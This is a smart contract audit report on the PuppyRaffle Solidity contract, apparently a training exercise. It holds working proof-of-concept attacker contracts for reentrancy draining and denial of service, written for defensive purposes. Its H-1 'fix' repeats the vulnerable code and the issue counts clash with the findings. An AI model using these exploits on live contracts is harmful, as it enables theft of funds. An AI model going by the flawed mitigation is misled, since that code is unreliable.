2025

PROTOCOL AUDIT REPORT

@Siddev09

Puppy Raffle Contract

Puppy Raffle Audit Report

Prepared by : Siddharth

Assisted Auditors : None

Date : 12-MAR-2025

Table of Contents :

About @Siddharth

I'm Siddharth, a blockchain enthusiast diving deep into the world of smart contract auditing. With a solid foundation in Solidity and a keen eye for detail, I'm committed to making decentralized applications secure and efficient.

Disclaimer

The auditor @siddev09 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsment of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts

Risk Classification

		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in the documents follows this commit hash

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
--PuppyRaffle.sol
```

Protocol Summary

PuppyRaffle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go the winner , and a fee is taken by another address decided address decided by the protocol owner

Roles :

- Owner : The only who can change the `feeAddress` , denominated by the `_owner` variable.
- Fee User : The user who takes a cut of raffle entrance fees. Denominated by the feeAddress variable.
- Raffle Entrant : Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	No. of Issues
High	3
Medium	3
Low	0
Info	6
Gas	2

FINDINGS

##HIGH

[H-1] `Re-entrancy` attack in `puppyRaffle::refund` allows entrant to drain raffle balance

Description : The `puppyRaffle::refund` function does not follow **CEI** (checks , effects, interactions) and as a result m enables participants to drain the contract balance. In the `puppyRaffle::refund` function , we first make an external call to the

`msg.sender` address and only after making that external call do we update the `puppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player c
an refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refu
nded, or is not active");

        @> payable(msg.sender).sendValue(entranceFee);

        @> players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback receive` function that calls the `puppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained

Impact : All fees paid by raffle entrants could be stolen by the malicious participants

Proof of Concept :

1. Users enters the raffle
2. Attackers sets up a contract with a `fallback` function that calls `puppyRaffle::refund`
3. Attackers enters the raffle
4. Attackers calls `puppyRaffle::refund` from their attacks contract , draining the contract balance

Proof of Code : Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentrancy_refund() public {
        // Ensure unique addresses for the initial players
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // Create a new Re_enter contract for the attack
        Re_enter attackerContract = new Re_enter(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBal = address(attackerContract).balanc
e;
        uint256 startingContractBal = address(puppyRaffle).balance;

        // Use a unique address for the attacker
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();
        console.log(
            "starting attacker contract balance",
            startingAttackContractBal
        );
        console.log("starting contract balance", startingContractBal);

        console.log(
            "ending attacker contract balance",
            address(attackerContract).balance
        );
        console.log("ending contract balance", address(puppyRaffle).balanc
e);
    }
}
```

And this contract as well.

```
contract Re_enter {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation： To prevent this , we should have the `puppyRaffle::refund` funciton update the `players` array before making the external

call, Additionally , we should move the event emission up as well

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player c
an refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refu
nded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness is `puppyRaffle::selectorWinner` allows users to influence or predict the winner and influence or predict the winner and influence or predict the winning puppy

Description : Hashing `msg.sender` , `block.timestamp` and `block.difficulty` together creation a predictable find number . A Predictable number is not a good random number,Malicious users can manipulate thsese values or know them ahead of time to choose the winner of the raffle themseleves.

NOTE : This additionally means users could front - run this function and call `refund` if they see they are not the winner

Impact : Any user can influence winner of the raffle winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles

Proof of Concept :

1. Validators can know ahead of the time the `block.timestamp` and `block.difficulty` and use that to predict when / how to participate. see the [Solidity blog on prevrando OPCODE] . `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they dont like the winner or resulting puppy.

Recommended Mitigation : Consider using a cryptographically provable random number generator such as chainlink VRF

[H-3] Integer overflow of `puppyRaffle::totalFees` loses fees

Description : In solidity version prior version to `0.8.0` integer were subject to integer overflows

```
uint64 myVar = type(uint64).max
//18446744073709551615

myVar = myVar + 1
// myVar will be 0
```

Impact : In `puppyRaffle::SelectWinner` , `totalFees` are accumulated for the `feeAddress` to collect , later in `puppyRaffle::withDrawFees` . However , if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees , leaving fees permenently stuck in the contract.

Proof of Concept :

1. We first conclude a raffle of 4 players to collect some fees.

2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There a
re currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof of Code :

Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
```

```
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second
raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require che
ck
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommendation Mitigation :

There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

1. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept :

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not impleme
nt `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

##Medium

[M-1] Looping through the players array to check for duplicate in `puppyRaffle::enterRaffle` is a potential denial of service attack incrementing has costs for future entrants

Impact : The gas cost for raffle entrants will greatly increase as more players enters the raffle . Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `puppyRaffle::enterants` array so big that no one else enters guaranteeing themselves the win

Description : the `puppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates . however the longer the to make . this means the gas cost for players who enter right when the every additional address in the `players` array is an additional check the loop will have to make

Proof of concept :

if we have 2 sets of 100 players enter the gas cost will be as such 1st 100 players : ~6252048

and 2nd 100 players ~18068138

this is more than 3x more expensive for that second 100 players

```
function testddos() public {
    vm.txGasPrice(1);
    uint256 playerNum = 100;
    address[] memory players = new address[](playerNum);
    for (uint256 index = 0; index < playerNum; index++) {
        players[index] = address(index + 1);
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasEnd = gasleft();
```

```
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("gas used for first 100 people", gasUsedFirst);
        //------------------------------------------------------------------------
⟶
        address[] memory playersTwo = new address[](playerNum);
        for (uint256 index = 0; index < playerNum; index++) {
            playersTwo[index] = address(index + playerNum + 1);
        }

        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(
            playersTwo
        );
        uint256 gasEndTwo = gasleft();

        uint256 gasUsedSec = (gasStartTwo - gasEndTwo) * tx.gasprice;
        console.log("gas used for second 100 people", gasUsedSec);

        assert(gasUsedFirst < gasUsedSec);
    }
```

Application mitigation ： There are a few recommendation

1. consider allowing duplicates , users can make new wallet addresses anyways , so duplicates check doesn't prevent the same person from entering multiple times only the same wallet address
2. consider using a mapping to check for duplicates . this world allow constant time lookup of whether a user a has already entered
3. alternatively you could use `oppenzipplin enumerableSet` library

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle: Th
ere are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRa
ffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.se
nder, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRa
ffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestam
p, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

##Low

[L-1] `puppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players and index 0, causing a players at index 0 to incorrectly think have not entered the raffle

Description : If a players is in the `puppyRaffle::players` array at index 0 , this will return 0 but according to the natspec , it will also return 0 , if the players is not in the array

```
 function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

```
        return 0;
    }
```

Impact ：A player at index 0 to incorrectly think they have not entered the raffle , and attempt to enter the raffle again wasting gas

Proof of Concept :

1. Users enters the raffle , they are the first entrant
2. `puppyRaffle::gotActivePlayerIndex` returns 0
3. Users think they have not entered correctly due to the function documentation

Recommendation Mitigation ：The easist recommendation would be to revert if the player is not in the array instead of returning 0

you could also reserve the 0th position returns -1 if the players is not active .

##Informational

[I-1] Solidity pragma should be specific not wide

Consider using a specific version of Solidity in your contracts instead of a wide version For example , instead of `pragma solidity ^0.8.0;` use `pragma solidity 0.8.0`

[I-2] Using an outdated verison of Solidity is not recommeded

solc frequently releases new compiler version . Using an old version prevents access to new Solidity security checks . We also recommeded avoiding complex pragma statement .

Recommendation : Deploy with any of the following solidity version :

0.8.18

The recommendation take into account

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs
- Use a simple pragma version that allows any of these versions, Consider using the latest version of Solidity for testing.

Please see [Slither] documentation for more information

[I-3] Missing checks for `address(0)` when assigning values to adderess state variables

Assigning values to address state variables without checking for `address(0)` .

- Found in `src/PuppuRaffle.sol : 8662:23:35`
- Found in `src/PuppyRaffle.sol : 3165.24.35`
- Found in `src/PuppyRaffle.sol : 9809:26:35`

[I-4] `puppyRaffle::selectWinner` does not follow CEI which is not a best practice

Its best to keep code clean and follow CEI (checks , interactions).

```
// - (bool success,) = winner.call{value: prizePool}("");
// - require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

```
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of `Magic` numbers is discouraged

it can be confusing to see numbers literals in a codebase and its much more readable if the numbers are given a name.

Examples :

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) /100 ;
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constan
t
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be consta
nt
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

##Gas

[G-1] Unchanged state variable should be declared constant or imutable

Reading from storage is much more expensive than reading from a constant or immtuable variable

Instances :

- `puppyRaffle::raffleDuration` should be `imutable`
- `puppyRaffle::commonImageUri` should be `constant`
- `puppyRaffle::rareImageUri` should be `constant`
- `puppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas effiecient.

```
// Check for duplicates
        +    uint256 playersLength = players.length;
//  -    for (uint256 i = 0; i < players.length - 1; i++) {
    +    for(uint256 i = 0 ; i < playersLength - 1 ; i++) {
//  -        for (uint256 j = i + 1; j < players.length; j++) {
    +        for(uint256 j = i + 1 ; j < playersLength ; j++) {
               require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```